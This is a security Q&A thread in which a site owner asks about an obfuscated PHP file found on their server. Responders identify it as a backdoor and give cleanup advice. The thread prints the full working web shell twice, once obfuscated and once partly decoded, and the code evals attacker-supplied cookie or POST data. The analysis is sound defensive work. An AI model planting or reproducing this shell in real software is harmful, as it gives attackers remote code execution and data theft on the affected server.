0

I found a PHP file that I don't know where it came from on my server:

<?php
$ojcsoo = '_-bHft\'dik1x6cn9leapm0y4s7vg5*r8ou#2';$zjdtjcd = Array();$zjdtjcd[] = $ojcsoo[3].$ojcsoo[29];$zjdtjcd[] = $ojcsoo[34];$zjdtjcd[] = $ojcsoo[28].$ojcsoo[28].$ojcsoo[13].$ojcsoo[4].$ojcsoo[25].$ojcsoo[7].$ojcsoo[10].$ojcsoo[15].$ojcsoo[1].$ojcsoo[2].$ojcsoo[2].$ojcsoo[13].$ojcsoo[23].$ojcsoo[1].$ojcsoo[23].$ojcsoo[21].$ojcsoo[28].$ojcsoo[35].$ojcsoo[1].$ojcsoo[2].$ojcsoo[23].$ojcsoo[25].$ojcsoo[21].$ojcsoo[1].$ojcsoo[2].$ojcsoo[31].$ojcsoo[7].$ojcsoo[17].$ojcsoo[35].$ojcsoo[13].$ojcsoo[18].$ojcsoo[15].$ojcsoo[12].$ojcsoo[13].$ojcsoo[31].$ojcsoo[12];$zjdtjcd[] = $ojcsoo[13].$ojcsoo[32].$ojcsoo[33].$ojcsoo[14].$ojcsoo[5];$zjdtjcd[] = $ojcsoo[24].$ojcsoo[5].$ojcsoo[30].$ojcsoo[0].$ojcsoo[30].$ojcsoo[17].$ojcsoo[19].$ojcsoo[17].$ojcsoo[18].$ojcsoo[5];$zjdtjcd[] = $ojcsoo[17].$ojcsoo[11].$ojcsoo[19].$ojcsoo[16].$ojcsoo[32].$ojcsoo[7].$ojcsoo[17];$zjdtjcd[] = $ojcsoo[24].$ojcsoo[33].$ojcsoo[2].$ojcsoo[24].$ojcsoo[5].$ojcsoo[30];$zjdtjcd[] = $ojcsoo[18].$ojcsoo[30].$ojcsoo[30].$ojcsoo[18].$ojcsoo[22].$ojcsoo[0].$ojcsoo[20].$ojcsoo[17].$ojcsoo[30].$ojcsoo[27].$ojcsoo[17];$zjdtjcd[] = $ojcsoo[24].$ojcsoo[5].$ojcsoo[30].$ojcsoo[16].$ojcsoo[17].$ojcsoo[14];$zjdtjcd[] = $ojcsoo[19].$ojcsoo[18].$ojcsoo[13].$ojcsoo[9];foreach ($zjdtjcd[7]($_COOKIE, $_POST) as $yuids => $cwhwadw){function zoumimv($zjdtjcd, $yuids, $ssdjci){return $zjdtjcd[6]($zjdtjcd[4]($yuids . $zjdtjcd[2], ($ssdjci / $zjdtjcd[8]($yuids)) + 1), 0, $ssdjci);}function ekivv($zjdtjcd, $kwabjl){return @$zjdtjcd[9]($zjdtjcd[0], $kwabjl);}function gliwd($zjdtjcd, $kwabjl){$adwhmc = $zjdtjcd[3]($kwabjl) % 3;if (!$adwhmc) {eval($kwabjl[1]($kwabjl[2]));exit();}}$cwhwadw = ekivv($zjdtjcd, $cwhwadw);gliwd($zjdtjcd, $zjdtjcd[5]($zjdtjcd[1], $cwhwadw ^ zoumimv($zjdtjcd, $yuids, $zjdtjcd[8]($cwhwadw))));}

What does this code mean? Can it harm my site?

Anders
  • 65,052
  • 24
  • 180
  • 218
Jafran J S
  • 11
  • 3
  • Yes, this file can harm your site. It means your site has a vulnerability that allows a hacker to upload a PHP file. You should fix it – Your Common Sense Oct 04 '18 at 09:59
  • Any unauthorised file on your site means that you have been breached, and your site has already been "harmed" – schroeder Oct 04 '18 at 10:09
  • I removed as much of the obfuscation as I could and the file on your server is nearly a clone of the one in this post: https://security.stackexchange.com/questions/182391/i-need-to-decode-this-suspicious-code-and-explain-what-it-is-doing It appears to allow an attacker to execute ANY PHP code they want on your machine. This can effect the security of your machine GREATLY. I suggest you remove it immediately if you haven't already. – xorist Oct 04 '18 at 15:55
  • You should take a look at this question: https://security.stackexchange.com/questions/39231/how-do-i-deal-with-a-compromised-server – Anders Oct 04 '18 at 17:52

1 Answers1

1

I've deofuscated it

<?php
$ojcsoo = '_-bHft\'dik1x6cn9leapm0y4s7vg5*r8ou#2';
$zjdtjcd = Array();
$zjdtjcd[] = $ojcsoo[3] . $ojcsoo[29];
$zjdtjcd[] = $ojcsoo[34];
$zjdtjcd[] = $ojcsoo[28] . $ojcsoo[28] . $ojcsoo[13] . $ojcsoo[4] . $ojcsoo[25] . $ojcsoo[7] . $ojcsoo[10] . $ojcsoo[15] . $ojcsoo[1] . $ojcsoo[2] . $ojcsoo[2] . $ojcsoo[13] . $ojcsoo[23] . $ojcsoo[1] . $ojcsoo[23] . $ojcsoo[21] . $ojcsoo[28] . $ojcsoo[35] . $ojcsoo[1] . $ojcsoo[2] . $ojcsoo[23] . $ojcsoo[25] . $ojcsoo[21] . $ojcsoo[1] . $ojcsoo[2] . $ojcsoo[31] . $ojcsoo[7] . $ojcsoo[17] . $ojcsoo[35] . $ojcsoo[13] . $ojcsoo[18] . $ojcsoo[15] . $ojcsoo[12] . $ojcsoo[13] . $ojcsoo[31] . $ojcsoo[12];
$zjdtjcd[] = $ojcsoo[13] . $ojcsoo[32] . $ojcsoo[33] . $ojcsoo[14] . $ojcsoo[5];
$zjdtjcd[] = $ojcsoo[24] . $ojcsoo[5] . $ojcsoo[30] . $ojcsoo[0] . $ojcsoo[30] . $ojcsoo[17] . $ojcsoo[19] . $ojcsoo[17] . $ojcsoo[18] . $ojcsoo[5];
$zjdtjcd[] = $ojcsoo[17] . $ojcsoo[11] . $ojcsoo[19] . $ojcsoo[16] . $ojcsoo[32] . $ojcsoo[7] . $ojcsoo[17];
$zjdtjcd[] = $ojcsoo[24] . $ojcsoo[33] . $ojcsoo[2] . $ojcsoo[24] . $ojcsoo[5] . $ojcsoo[30];
$zjdtjcd[] = $ojcsoo[18] . $ojcsoo[30] . $ojcsoo[30] . $ojcsoo[18] . $ojcsoo[22] . $ojcsoo[0] . $ojcsoo[20] . $ojcsoo[17] . $ojcsoo[30] . $ojcsoo[27] . $ojcsoo[17];
$zjdtjcd[] = $ojcsoo[24] . $ojcsoo[5] . $ojcsoo[30] . $ojcsoo[16] . $ojcsoo[17] . $ojcsoo[14];
$zjdtjcd[] = $ojcsoo[19] . $ojcsoo[18] . $ojcsoo[13] . $ojcsoo[9];


// Array
// (
//     [0] => H*
//     [1] => #
//     [2] => 55cf7d19-bbc4-4052-b470-b8de2ca96c86
//     [3] => count
//     [4] => str_repeat
//     [5] => explode
//     [6] => substr
//     [7] => array_merge
//     [8] => strlen
//     [9] => pack
// )


print_r($zjdtjcd)
foreach (array_merge($_COOKIE, $_POST) as $yuids => $cwhwadw) {
    function zoumimv($zjdtjcd, $yuids, $ssdjci) {
        return substr(str_repeat($yuids . 55cf7d19-bbc4-4052-b470-b8de2ca96c86, ($ssdjci / strlen($yuids)) + 1), 0, $ssdjci);
    }
    function ekivv($zjdtjcd, $kwabjl) {
        return @pack('H*', $kwabjl);
    }
    function gliwd($zjdtjcd, $kwabjl) {
        $adwhmc = count($kwabjl) % 3;
        if (!$adwhmc) {
            eval($kwabjl[1]($kwabjl[2]));
            exit();
        }
    }
    $cwhwadw = ekivv($zjdtjcd, $cwhwadw);
    gliwd($zjdtjcd, explode('#', $cwhwadw ^ zoumimv($zjdtjcd, $yuids, strlen($cwhwadw))));
?>

Looks like some kind of shell.

avicoder
  • 313
  • 2
  • 11
  • How can it affect my site? cause when i execute it just show blank page – Jafran J S Oct 04 '18 at 10:47
  • @JafranJS It gives the attackers the ability to remotely run any command on your server (as whatever user php runs as), likely including copying files/databases from your server, and adding malicious programs to your server. You should restore your server from an older backup and if your website has a database with user accounts, you should definitely consider alerting them that your site has been breached and that their personal data has possibly been stolen. – Steve Oct 04 '18 at 17:25